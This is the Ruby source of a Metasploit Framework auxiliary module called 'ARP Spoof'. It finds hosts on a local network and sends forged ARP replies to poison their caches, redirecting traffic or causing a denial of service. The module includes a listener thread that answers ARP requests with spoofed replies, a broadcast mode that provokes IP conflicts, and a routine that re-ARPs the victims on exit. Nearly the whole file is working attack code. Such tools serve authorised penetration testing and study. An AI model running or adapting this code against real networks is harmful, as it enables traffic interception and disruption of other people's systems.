## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Auxiliary::Report def initialize super( 'Name' => 'ARP Spoof', 'Description' => %q{ Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service. }, 'Author' => 'amaloteaux', # msf rewrite #tons of people .... 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '11169'], ['CVE', '1999-0667'], ['URL', 'http://en.wikipedia.org/wiki/ARP_spoofing'] ], 'DisclosureDate' => 'Dec 22 1999' #osvdb date ) register_options([ OptString.new('SHOSTS', [true, 'Spoofed ip addresses']), OptString.new('SMAC', [false, 'The spoofed mac']), OptString.new('DHOSTS', [true, 'Target ip addresses']), OptString.new('INTERFACE', [false, 'The name of the interface']), OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]), OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]), #OptBool.new( 'VERBOSE', [true, 'Display more output on screen',false]), OptBool.new( 'LISTENER', [true, 'Use an additionnal thread that will listen to arp request and try to relply as fast as possible', true]) ], self.class) register_advanced_options([ OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC']), OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']), OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]), OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]), # This mode will generate address ip conflict pop up on most systems OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false]) ], self.class) deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK') end def run open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"}) @netifaces = true if not netifaces_implemented? print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available") @netifaces = false end @spoofing = false # The local dst (and src) cache(s) @dsthosts_cache = {} @srchosts_cache = {} # Some additional caches for autoadd feature if datastore['AUTO_ADD'] @dsthosts_autoadd_cache = {} if datastore['BIDIRECTIONAL'] @srchosts_autoadd_cache = {} end end begin @interface = datastore['INTERFACE'] || Pcap.lookupdev #This is needed on windows cause we send interface directly to Pcap functions @interface = get_interface_guid(@interface) @smac = datastore['SMAC'] @smac ||= get_mac(@interface) if @netifaces raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac) @sip = datastore['LOCALSIP'] @sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces raise "LOCALSIP is not defined and can not be guessed" unless @sip raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip) shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS']) @shosts = [] if datastore['BIDIRECTIONAL'] shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end} else shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end} end if datastore['BROADCAST'] broadcast_spoof else arp_poisoning end rescue => ex print_error( ex.message) ensure if datastore['LISTENER'] @listener.kill if @listener GC.start() end if capture and @spoofing and not datastore['BROADCAST'] print_status("RE-ARPing the victims...") 3.times do @dsthosts_cache.keys.sort.each do |dhost| dmac = @dsthosts_cache[dhost] if datastore['BIDIRECTIONAL'] @srchosts_cache.keys.sort.each do |shost| smac = @srchosts_cache[shost] if shost != dhost vprint_status("Sending arp packet for #{shost} to #{dhost}") reply = buildreply(shost, smac, dhost, dmac) inject(reply) Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) end end else @shosts.each do |shost| if shost != dhost vprint_status("Sending arp request for #{shost} to #{dhost}") request = buildprobe(dhost, dmac, shost) inject(request) Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) end end end end if datastore['BIDIRECTIONAL'] @srchosts_cache.keys.sort.each do |shost| smac = @srchosts_cache[shost] @dsthosts_cache.keys.sort.each do |dhost| dmac = @dsthosts_cache[dhost] if shost != dhost vprint_status("Sending arp packet for #{dhost} to #{shost}") reply = buildreply(dhost, dmac, shost, smac) inject(reply) Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) end end end end end # 3.times end close_pcap end #begin/rescue/ensure end def broadcast_spoof print_status("ARP poisoning in progress (broadcast)...") while(true) @shosts.each do |shost| vprint_status("Sending arp packet for #{shost} address") reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff') inject(reply) Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) end end end def arp_poisoning lsmac = datastore['LOCALSMAC'] || @smac raise RuntimeError ,'Local Source Mac is not in correct format' unless is_mac?(lsmac) dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS']) @dhosts = [] dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end} #Build the local dest hosts cache print_status("Building the destination hosts cache...") @dhosts.each do |dhost| vprint_status("Sending arp packet to #{dhost}") probe = buildprobe(@sip, lsmac, dhost) inject(probe) while(reply = getreply()) next if not reply.is_arp? #Without this check any arp request would be added to the cache if @dhosts.include? reply.arp_saddr_ip print_status("#{reply.arp_saddr_ip} appears to be up.") report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac end end end #Wait some few seconds for last packets etime = Time.now.to_f + datastore['TIMEOUT'] while (Time.now.to_f < etime) while(reply = getreply()) next if not reply.is_arp? if @dhosts.include? reply.arp_saddr_ip print_status("#{reply.arp_saddr_ip} appears to be up.") report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) @dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac end end Kernel.select(nil, nil, nil, 0.50) end raise RuntimeError, "No hosts found" unless @dsthosts_cache.length > 0 #Build the local src hosts cache if datastore['BIDIRECTIONAL'] print_status("Building the source hosts cache for unknow source hosts...") @shosts.each do |shost| if @dsthosts_cache.has_key? shost vprint_status("Adding #{shost} from destination cache") @srchosts_cache[shost] = @dsthosts_cache[shost] next end vprint_status("Sending arp packet to #{shost}") probe = buildprobe(@sip, lsmac, shost) inject(probe) while(reply = getreply()) next if not reply.is_arp? if @shosts.include? reply.arp_saddr_ip print_status("#{reply.arp_saddr_ip} appears to be up.") report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac end end end #Wait some few seconds for last packets etime = Time.now.to_f + datastore['TIMEOUT'] while (Time.now.to_f < etime) while(reply = getreply()) next if not reply.is_arp? if @shosts.include? reply.arp_saddr_ip print_status("#{reply.arp_saddr_ip} appears to be up.") report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) @srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac end end Kernel.select(nil, nil, nil, 0.50) end raise RuntimeError, "No hosts found" unless @srchosts_cache.length > 0 end if datastore['AUTO_ADD'] @mutex_cache = Mutex.new end #Start the listener if datastore['LISTENER'] start_listener(@dsthosts_cache, @srchosts_cache) end #Do the job until user interupt it print_status("ARP poisoning in progress...") @spoofing = true while(true) if datastore['AUTO_ADD'] @mutex_cache.lock if @dsthosts_autoadd_cache.length > 0 @dsthosts_cache.merge!(@dsthosts_autoadd_cache) @dsthosts_autoadd_cache = {} end if datastore['BIDIRECTIONAL'] if @srchosts_autoadd_cache.length > 0 @srchosts_cache.merge!(@srchosts_autoadd_cache) @srchosts_autoadd_cache = {} end end @mutex_cache.unlock end @dsthosts_cache.keys.sort.each do |dhost| dmac = @dsthosts_cache[dhost] if datastore['BIDIRECTIONAL'] @srchosts_cache.keys.sort.each do |shost| smac = @srchosts_cache[shost] if shost != dhost vprint_status("Sending arp packet for #{shost} to #{dhost}") reply = buildreply(shost, @smac, dhost, dmac) inject(reply) Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) end end else @shosts.each do |shost| if shost != dhost vprint_status("Sending arp packet for #{shost} to #{dhost}") reply = buildreply(shost, @smac, dhost, dmac) inject(reply) Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) end end end end if datastore['BIDIRECTIONAL'] @srchosts_cache.keys.sort.each do |shost| smac = @srchosts_cache[shost] @dsthosts_cache.keys.sort.each do |dhost| dmac = @dsthosts_cache[dhost] if shost != dhost vprint_status("Sending arp packet for #{dhost} to #{shost}") reply = buildreply(dhost, @smac, shost, smac) inject(reply) Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000) end end end end end end def is_mac?(mac) if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true else false end end def buildprobe(shost, smac, dhost) p = PacketFu::ARPPacket.new p.eth_saddr = smac p.eth_daddr = "ff:ff:ff:ff:ff:ff" p.arp_opcode = 1 p.arp_daddr_mac = p.eth_daddr p.arp_saddr_mac = p.eth_saddr p.arp_saddr_ip = shost p.arp_daddr_ip = dhost p end def buildreply(shost, smac, dhost, dmac) p = PacketFu::ARPPacket.new p.eth_saddr = smac p.eth_daddr = dmac p.arp_opcode = 2 # ARP Reply p.arp_daddr_mac = p.eth_daddr p.arp_saddr_mac = p.eth_saddr p.arp_saddr_ip = shost p.arp_daddr_ip = dhost p end def getreply pkt_bytes = capture.next return if not pkt_bytes pkt = PacketFu::Packet.parse(pkt_bytes) return unless pkt.is_arp? return unless pkt.arp_opcode == 2 pkt end def start_listener(dsthosts_cache, srchosts_cache) if datastore['BIDIRECTIONAL'] args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup} else args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup} end # To avoid any race condition in case of , even if actually those are never updated after the thread is launched args[:AUTO_ADD] = datastore['AUTO_ADD'] args[:localip] = @sip.dup @listener = Thread.new(args) do |args| begin #one more local copy liste_src_ips = [] if args[:BIDIRECTIONAL] args[:shosts].each_key {|address| liste_src_ips.push address} else args[:shosts].each {|address| liste_src_ips.push address} end liste_dst_ips = [] args[:dhosts].each_key {|address| liste_dst_ips.push address} localip = args[:localip] listener_capture = ::Pcap.open_live(@interface, 68, true, 0) listener_capture.setfilter("arp[6:2] == 0x0001") while(true) pkt_bytes = listener_capture.next if pkt_bytes pkt = PacketFu::Packet.parse(pkt_bytes) if pkt.is_arp? if pkt.arp_opcode == 1 #check if the source ip is in the dest hosts if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or (args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip) vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}") reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr) 3.times{listener_capture.inject(reply.to_s)} elsif args[:AUTO_ADD] if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip) @mutex_cache.lock print_status("#{pkt.arp_saddr_ip} appears to be up.") @dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac liste_dst_ips.push pkt.arp_saddr_ip @mutex_cache.unlock elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip) @mutex_cache.lock print_status("#{pkt.arp_saddr_ip} appears to be up.") @srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac liste_src_ips.push pkt.arp_saddr_ip @mutex_cache.unlock end end end end end end rescue => ex print_error("Listener Error: #{ex.message}") print_error("Listener Error: Listener is stopped") end end @listener.abort_on_exception = true end end